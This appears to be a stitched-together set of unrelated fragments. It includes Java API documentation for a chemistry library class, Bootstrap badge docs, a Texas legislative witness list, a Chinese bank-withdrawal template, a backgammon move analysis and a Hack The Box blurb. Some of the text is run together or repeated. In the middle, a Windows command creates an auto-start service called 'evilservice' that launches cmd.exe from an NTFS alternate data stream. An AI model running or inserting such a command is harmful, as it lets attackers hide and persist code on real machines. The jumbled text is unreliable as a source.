- path/name of the file that contains scaffolds as SMILESlinkersPath
- path/name of the file that contains linkers as SMILESbuildingBlocksPath
- path/name of the file that contains building blocks as SMILESprintToCommandLine
- combinatorial library shall be printed to the command line true/falsesaveFilePath
- path/name of the file where the combinatorial library will be stored if it shall be saved in a fileaddHydrogens
- add hydrogens when save as SD filecheckSmiles
- check SMILES for conformity with SMiLib rules true/falsepublic SmiLibRunner(java.lang.String scaffoldsPath, java.lang.String linkersPath, java.lang.String buildingBlocksPath, java.lang.String reactionSchemePath, boolean printToCommandLine, java.lang.String saveFilePath, boolean addHydrogens, boolean checkSmiles)
scaffoldsPath
- path/name of the file that contains scaffolds as SMILESlinkersPath
- path/name of the file that contains linkers as SMILESbuildingBlocksPath
- path/name of the file that contains building blocks as SMILESreactionSchemePath
- path/filename of the file that contains the reaction schemeprintToCommandLine
- combinatorial library shall be printed to the command line true/falsesaveFilePath
- path/name of the file where the combinatorial library will be stored if it shall be saved in a fileaddHydrogens
- add hydrogens when save as SD filecheckSmiles
- check SMILES for conformity with SMiLib rules true/falsepublic SmiLibRunner(java.lang.String[] scaffolds, java.lang.String[] linkers, java.lang.String[] bBlocks, boolean useReactionScheme, java.lang.String[] reactionScheme, javax.swing.JTextArea targetTextArea, boolean showLibrary, boolean saveAsFile, boolean saveAsSDF, boolean addHydrogens, java.lang.String path, SmiLibFrame frame, boolean checkSmiles)
scaffolds
- array of source scaffold (with ID)linkers
- array of source linkers (with ID)bBlocks
- array of source building block (with ID)useReactionScheme
- use reaction scheme true/falsereactionScheme
- reactionScheme as arraytargetTextArea
- text area where library will be written inshowLibrary
- show library in GUI true/falsesaveAsFile
- save library as file true/falsesaveAsSDF
- save file as SD file true/falseaddHydrogens
- add implicit hydrogens when building the SD file true/falsepath
- path/name of file where library will be savedframe
- main frame of GUIcheckSmiles
- check smiles for SmiLib conformity true/false| Method Detail |
|---|
public void run()
run
in interface java.lang.Runnable
public void handleException(java.lang.Throwable thr)
thr
- cause of Error/Exceptionpublic void setStop(boolean b)
b
- cancel enumeration true/falsepublic SmilesWriter getSmilesWriter()
|
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| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Badge
Example
Badges scale to match the size of the
immediate parent element by using relative font sizing and em
units.
Example heading New
Example heading New
Example heading New
Example heading New
Example heading New
Example heading New
Variations
Add any of the below mentioned modifier classes to change the appearance of a badge.
Default badge
Light
Primary
Success
Info
Warning
Danger
Dark
Badge Pills
Use the .badge-pill
modifier class to make
badges more rounded (with a larger border-radius
and additional horizontal padding
).
Useful if you miss the badges from v3.
light
Primary
Success
Info
Warning
Danger
Dark
Badge Lighten
Using the .badge-soft-**
classes for Badge lighten.
Primary
Success
Info
Warning
Danger
Dark
Badge in Buttons
Badges can be used as part of links or buttons to provide a counter.


WITNESS LIST
Emerging Issues In Texas Law Enforcement, Select Committee
February 26, 2015 Upon final adjourn./recess
Issues before the Committee
On:
Anderson, Gregg (Self; TASRO)
Carter, David (Self; Texas Chapter of Minuteman Civil Defense Corps, TFIRE, IRCOT)
Chandler, Gary (Tex Department of Public Safety Officers Association)
Craft, Lon (Tmpa)
Dean, David (North Texas Crime Commission)
Dodson, Lori (TEX-21)
Dudley, Patrick (Texas Department of Agriculture)
Garner, Dan (Houston Forensic Science Center,Inc.)
Helenberg, John (Texas Commission on Law Enforcement)
Jones, Chris (Combined Law Enforcement Associations of Texas (CLEAT))
Jones, Dexter (Texas Alcoholic Beverage Commission)
Jones, Grahame (TPWD - Texas Game Wardens)
King, Johnny (TABCOA)
Lopez, Carlos (Self; Justices of the peace and constables association)
Louderback, AJ (Sheriff's association of Texas)
Mannix, Sean (Self; Texas Police Chiefs Association)
McCraw, Steven (Department of Public Safety)
Miller, Sud (Texas department of agriculture)
Nicholes, Laura (Texas Association of Counties)
Rodriguez, Captain Albert (Texas Alcoholic Beverage Commission)
Sinclair, David (Game Warden Peace Officers Association)
Sunley, Robert (Texas Attorney General Peace Officer's Association)
Van Houten, Richard (Fort worth police officers assn)
Vickers, Kim (Texas Commission on Law Enforcement)
Young, Larry (Texas Parks and Wildlife Department)
Registering, but not testifying:
On:
Davis, Kevin (Texas Parks and Wildlife Department)
Rodriguez, Jimmy (San Antonio Police Officers Association)
1


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用户名:{{withdraw.userName}}
提现金额：{{withdraw.withdrawMoney}} 元
提现时间：{{withdraw.withdrawDate}}
银行账号:{{withdraw.account}}
开户行：{{withdraw.bankName}}
开户名称：{{withdraw.accountName}}
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Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice


Money Play. How should Red play 43?
pips Red=128 White=229
(CorrectAnswer= 0/0, ErrorScore= 0)
Without education from the bots we would just shuffle the outfield blots with something like 21/14.
The bots gave us a fundamental lesson in how to play these positions.
Red wants to build a full prime from his 11-pt to his 6-pt to force White to crack his home board, rendering it useless. However, Red is ahead of himself and he risks White keeping his timing for any number of different back games. The only correct play is 6/2, 4/1!! Not a move you would ever find without understanding the modern theory of back games.
If you have never seen this type of play before please make note of the technique and reuse it.
The bots gave us a fundamental lesson in how to play these positions.
Red wants to build a full prime from his 11-pt to his 6-pt to force White to crack his home board, rendering it useless. However, Red is ahead of himself and he risks White keeping his timing for any number of different back games. The only correct play is 6/2, 4/1!! Not a move you would ever find without understanding the modern theory of back games.
If you have never seen this type of play before please make note of the technique and reuse it.
1. Cubeful 2-ply 21/17 4/1 Eq.: +0.665 0.696 0.415 0.018 - 0.304 0.055 0.003 2. Cubeful 2-ply 21/18 6/2 Eq.: +0.654 (-0.012) 0.669 0.445 0.026 - 0.331 0.043 0.001 3. Cubeful 2-ply 21/17 13/10 Eq.: +0.592 (-0.074) 0.644 0.444 0.026 - 0.356 0.046 0.001 4. Cubeful 2-ply 21/14 Eq.: +0.589 (-0.076) 0.643 0.443 0.029 - 0.357 0.046 0.001 5. Cubeful 2-ply 21/18 13/9 Eq.: +0.577 (-0.089) 0.639 0.442 0.025 - 0.361 0.045 0.001


Hack the Box Tools
A collection of tools and examples from my time working with Hack The Box.
My CISA RVA Notes
My experience and notes from taking the Cybersecurity and Infrastructure Security Agency (CISA) Risk and Vulnerability Assessment (RVA).
A collection of tools and examples from my time working with Hack The Box.
My experience and notes from taking the Cybersecurity and Infrastructure Security Agency (CISA) Risk and Vulnerability Assessment (RVA).